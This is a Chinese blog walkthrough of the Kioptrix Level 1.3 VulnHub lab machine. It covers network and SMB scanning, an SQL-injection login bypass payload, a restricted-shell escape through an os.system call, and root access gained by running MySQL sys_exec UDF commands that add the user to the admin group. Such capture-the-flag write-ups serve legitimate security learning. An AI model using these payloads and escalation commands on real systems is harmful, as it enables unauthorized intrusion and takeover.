【Vulnhub通关】Kioptrix: Level 1.3 (#4)


准备工作

靶机基本信息

靶机名称:Kioptrix Level 1.3 (#4)

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:Bridged(桥接至物理网络)

渗透测试目标:获取靶机root权限和交互式Shell

下载地址:Kioptrix: Level 1.3 (#4) ~ VulnHub


信息收集

IP地址发现

由于靶机的网络连接方式为Bridged物理网络的IP网段为192.168.2.0/24,所以使用以下命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

由此确定靶机的IP地址为192.168.2.114

网络服务扫描

在扫描之前,先使用ping命令进行ICMP连通性测试

shell 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.114 
PING 192.168.2.114 (192.168.2.114) 56(84) bytes of data.
64 bytes from 192.168.2.114: icmp_seq=1 ttl=64 time=8.13 ms
64 bytes from 192.168.2.114: icmp_seq=2 ttl=64 time=0.332 ms
64 bytes from 192.168.2.114: icmp_seq=3 ttl=64 time=0.348 ms
64 bytes from 192.168.2.114: icmp_seq=4 ttl=64 time=0.376 ms

--- 192.168.2.114 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.332/2.295/8.126/3.366 ms

看来无需打开nmap-Pn选项,直接扫描即可:

shell 复制代码
# -A        扫描操作系统及软件版本信息
# -sV       扫描所有TCP端口
nmap -A -sV 192.168.2.114

可以看到终端的输出如下:

据此,整理了靶机的开放服务列表:

端口 传输层协议 应用层协议 详细信息
22 TCP SSH OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80 TCP HTTP Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139 445 TCP SMB Samba smbd 3.X - 4.X Samba smbd 3.0.28a

同时得知靶机操作系统为Ubuntu LinuxLinux内核版本在2.6.92.6.33之间


服务探测

SMB服务

可以看到靶机上开放了SMB服务,而且扫描出的信息还比较多,所以单独对445号端口进行一次专门的SMB服务扫描:

shell 复制代码
enum4linux -a -o -M 192.168.2.114
nmap -p 445 --script=*smb* 192.168.2.114

得出如下信息:

  • 目标IP:192.168.2.114
  • NetBIOS:KIOPTRIX4
  • 域/工作组名称:WORKGROUP
  • Samba软件版本:3.0.28a
  • RID Range:500-5501000-1050
  • 可能的用户名:root(1000)john(3002)loneferret(3000)robert(3004)guestnobody(501)
  • 共享名称和目录:IPC`(/tmp)` -- 可读可写、print(/var/lib/samba/printers)

P.S. 由于扫描出的信息过多,一张图片放不下,请读者尝试自行扫描。

尝试连接上述用户名和共享,发现全部需要密码,连接失败。

最后尝试寻找对应Samba版本的公开EXP:

shell 复制代码
searchsploit samba 3.0.28

啊这。。。看上去没有啥能用的。。。

最后选定了如下EXP,试试看:


SSH服务

针对SSH服务的探测没什么好讲的,直接获取banner信息

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# nc 192.168.2.114 22                     
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
^C

得出靶机OpenSSH的版本为4.7p1 之后,直接searchsploit一把梭:

shell 复制代码
searchsploit openssh 4.7

选中如下EXP:

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# searchsploit -m 45001.py 
  Exploit: OpenSSH < 6.6 SFTP - Command Execution
      URL: https://www.exploit-db.com/exploits/45001
     Path: /usr/share/exploitdb/exploits/linux/remote/45001.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/hacker/Documents/vulnhub_notes/kioptrix_level_1.3/exp目录/45001.py

HTTP服务

我们在前面已经知道了Apache的版本号为2.2.8,现在先让我们使用searchsploit搜索一下漏洞:

shell 复制代码
searchsploit apache

最后选中了这个漏洞:

  • Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution

先行保存。

Web应用程序

打开浏览器,在地址栏中输入网址:http://192.168.2.114/,进入如下页面:

只有一个登录框。查看源代码,只发现如下信息:

HTML 复制代码
<!-- More HTML codes ... -->
<tr>
	<td align="center" colspan="3" width="300">
	<image src="images/cartoon_goat.png"/>
	<!-- Image from http://www.wpclipart.com-->
	</td>
</tr>

有点没思路,使用dirsearch扫描试试:

shell 复制代码
dirsearch -u http://192.168.2.114/ -i 200,301,302

判断目标网站有以下文件及目录:

  • /images         =>    网站图片文件夹
  • /checklogin.php    =>    登录检测程序
  • /member.php      =>    用户个人空间程序
  • /logout.php      =>    退出登录程序
  • /index.php      =>    网站主页
  • /database.sql    =>    疑似数据库脚本文件泄露

渗透测试

Web应用程序

查看数据库文件

从之前对Web应用程序的扫描中,我们已经得知了网站的数据库脚本文件database.sql被暴露在了网站目录内 。如果足够幸运的话,我们甚至不需要进行SQL注入就可以直接登录进去。使用wget命令下载该文件:

shell 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# wget http://192.168.2.114/database.sql
--2023-10-18 09:23:36--  http://192.168.2.114/database.sql
正在连接 192.168.2.114:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:298 [text/plain]
正在保存至: "database.sql"

database.sql                         100%[======================================================================>]     298  --.-KB/s  用时 0s      

2023-10-18 09:23:36 (8.28 MB/s) - 已保存 "database.sql" [298/298])

查看该文件,内容如下:

SQL 复制代码
CREATE TABLE `members` (
`id` int(4) NOT NULL auto_increment,
`username` varchar(65) NOT NULL default '',
`password` varchar(65) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=2 ;

-- 
-- Dumping data for table `members`
-- 

INSERT INTO `members` VALUES (1, 'john', '1234');

从上述SQL脚本文件可以看出,网站的用户数据表有idusernamepassword三个字段还有一条貌似是数据表内的一行记录

但非常可惜,这是假密码。。。

确认SQL注入

无奈之下开始SQL注入,推测后端SQL语句如下:

SQL 复制代码
SELECT id FROM `members` WHERE username = '[INPUT]' AND password = '[INPUT]';

输入用户名john,密码111'时,报错如下图:

由此确定存在SQL注入,而且SQL的注入点在POST参数mypassword处,因为在myusername处加引号没有报错,在mypassword处就报错了

尝试使用"万能密码"登录(' or true-- -),使用"万能密码"后,原本的SQL语句就变成了:

SQL 复制代码
SELECT id FROM `members` WHERE username = 'john' AND password = '1234' or true -- -';

可以看到原本的查询语句被注释了,结果如下:

SQL注入成功!

登录后台

虽然已经进行了SQL注入,但我们不知道网站的绝对路径在哪里,因此无法写入WebShell,于是登录网站后台查看:

由此可以得知/member.php页面的作用,以及网站的其中一个登录信息:

  • 用户名:john
  • 密码:MyNameIsJohn

登录受限Shell

编辑~/.ssh/config文件:

Config 复制代码
Host 192.168.2.114
    HostKeyAlgorithms +ssh-rsa

尝试使用该网站身份凭证通过SSH登录靶机:

成功!

针对Web应用程序的渗透测试结束,进入权限提升阶段。

SMB服务

查看文本内容:

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# cat ./10095.txt              
The following proof of concept is available:

smb: \> put aa%3Fbb 

这都是什么破玩意儿?????

好吧,看上去这EXP只能在登录之后使用。

针对SMB服务的渗透测试就此结束。

SSH服务

先查看EXP的源代码:

Python 复制代码
# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys

import paramiko
import sys
import time
from pwn import *

# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '192.168.2.114'
port = 22
username = 'root'
password = 'secforce'

看来需要登录才能运行这个EXP。 (不过后续可以用来尝试提权)

针对SSH服务的渗透测试就此结束。


权限提升

受限Shell逃逸

成功是成功了,但是看这个Shell,嘶,不太对啊。。。

尝试执行help命令看看有啥东西能用的:

shell 复制代码
john:~$ help                                                                   
cd  clear  echo  exit  help  ll  lpath  ls

执行lpath

shell 复制代码
john:~$ lpath
Allowed:
 /home/john

看来这是一个Limited Shell(即受限制的Shell环境),准备进行逃逸。

首先,尝试执行命令echo $SHELL

shell 复制代码
john:~$ echo $SHELL                                                                                                             
*** forbidden path -> "/bin/kshell"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.

检查管道符号:

shell 复制代码
john:~$ >>
john:~$ <<
john:~$ ||
john:~$ |
john:~$ &&

管道符号正常。

尝试执行命令:echo os.system('/bin/bash')

shell 复制代码
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

成功!!

使用Termius软件连接:

MySQL UDF提权

进入Shell之后尝试进行信息收集,首先查看目录下的文件:

shell 复制代码
john@Kioptrix4:~$ ls -lA
total 20
-rw------- 1 john john  192 2023-10-18 07:12 .bash_history
-rw-r--r-- 1 john john  220 2012-02-04 18:04 .bash_logout
-rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc
-rw-r--r-- 1 john john  252 2023-10-18 07:07 .lhistory
-rw-r--r-- 1 john john  586 2012-02-04 18:04 .profile

发现三个敏感文件.bash_history.bash_logout.lhistory,查看一下:

Text 复制代码
# .bash_history 部分内容
exit
sudo su
clear
ls
cd /home/loneferret
ls
./nc
rm nc
exit
=====================================================================
# .bash_logout 部分内容
## ~/.bash_logout: executed by bash(1) when login shell exits.
## when leaving the console clear the screen to increase privacy

if [ "$SHLVL" = 1 ]; then
    [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
=====================================================================
# .lhistory 部分内容
?
help
echo os.system('/bin/bash')
exit
su
sudo

貌似都没有有效的信息。查看下进程:

shell 复制代码
ps -ef

发现了突破口,MySQL竟然是以root用户运行的

那岂不是直接可以用UDF提权了?

在MySQL中,UDF是指用户自定义函数User-defined functions),它们是编写在CC++中的特定程序,可以扩展MySQL的功能。UDF提供了一种自定义函数的方式,让开发人员能够在MySQL中使用自己编写的函数。

我们先查看靶机网站目录里的checklogin.php文件,该文件内一定有MySQL的连接凭证

shell 复制代码
find / -name checklogin.php 2> /dev/null     # 找到网站根目录为/var/www/
cat /var/www/checklogin.php

PHP代码如下:

PHP 复制代码
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
        session_register("myusername");
        session_register("mypassword");
        header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>

密码居然是。。。空的????

尝试登录:

这连密码也没有是我万万想不到的。。。

照例先看下数据库之类的:

SQL 复制代码
show databases;
use mysql;
show tables;

这里发现了一个有意思的数据表mysql.func

查看一下里面有啥:

SQL 复制代码
SELECT * FROM `mysql.func`;

再次震惊。。。好好好,直接送权限是吧。。。

尝试执行一下函数sys_exec

SQL 复制代码
SELECT sys_exec("whoami");

返回的是NULL值,似乎没有回显,尝试更改john用户的用户组和登录Shell

SQL 复制代码
SELECT sys_exec('usermod -a -G root john');
SELECT sys_exec('usermod -s /bin/bash john');

第一条SQL用了0.05秒,第二条用了0.02秒,看起来是有用的,重新登录试试:

成功更改了用户john的默认Shell,切换用户组也成功了,但还是无法提权。。。

查看一下靶机里有哪些用户组:

shell 复制代码
cat /etc/group

图片中被框选的用户组引起了我的兴趣,尝试把john用户加进去:

SQL 复制代码
SELECT sys_exec('usermod -a -G admin john');

再次尝试sudo切换用户:

成功!!!

接下来就是更改root用户密码:

shell 复制代码
root@Kioptrix4:~# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

修改Termius中的连接配置:

双击连接:


本次靶机渗透到此结束

相关推荐
冰水°3 小时前
2.5_XXE(XML外部实体注入)
xml·安全·网络安全·xml外部实体注入·外部实体注入·xml漏洞
黑客K-ing6 小时前
网络安全名词解释
开发语言·网络·安全·网络安全·php
无情啦少6 小时前
shodan 【2】(泷羽sec)
安全·web安全·网络安全
dxzhkj8888888 小时前
智能井盖监测终端的构成与工作流程
安全
网络安全-老纪8 小时前
网络安全专业名词解释
安全·web安全
鹏大师运维9 小时前
【系统配置】命令行配置麒麟安全中心应用程序来源检查
linux·安全·国产化·麒麟·国产操作系统·1024程序员节·应用检测
网安_秋刀鱼9 小时前
中间件安全
安全·web安全·网络安全·中间件·1024程序员节
nfgo9 小时前
FIPS203 后量子安全ML-KEM(标准简读)
安全·pqc
互联网安全研究院9 小时前
施耐德电气40GB数据失窃,遭黑客勒索
安全
网安CILLE10 小时前
2024下半年自学黑客(网络安全)
linux·网络·安全·web安全·网络安全·职场和发展·密码学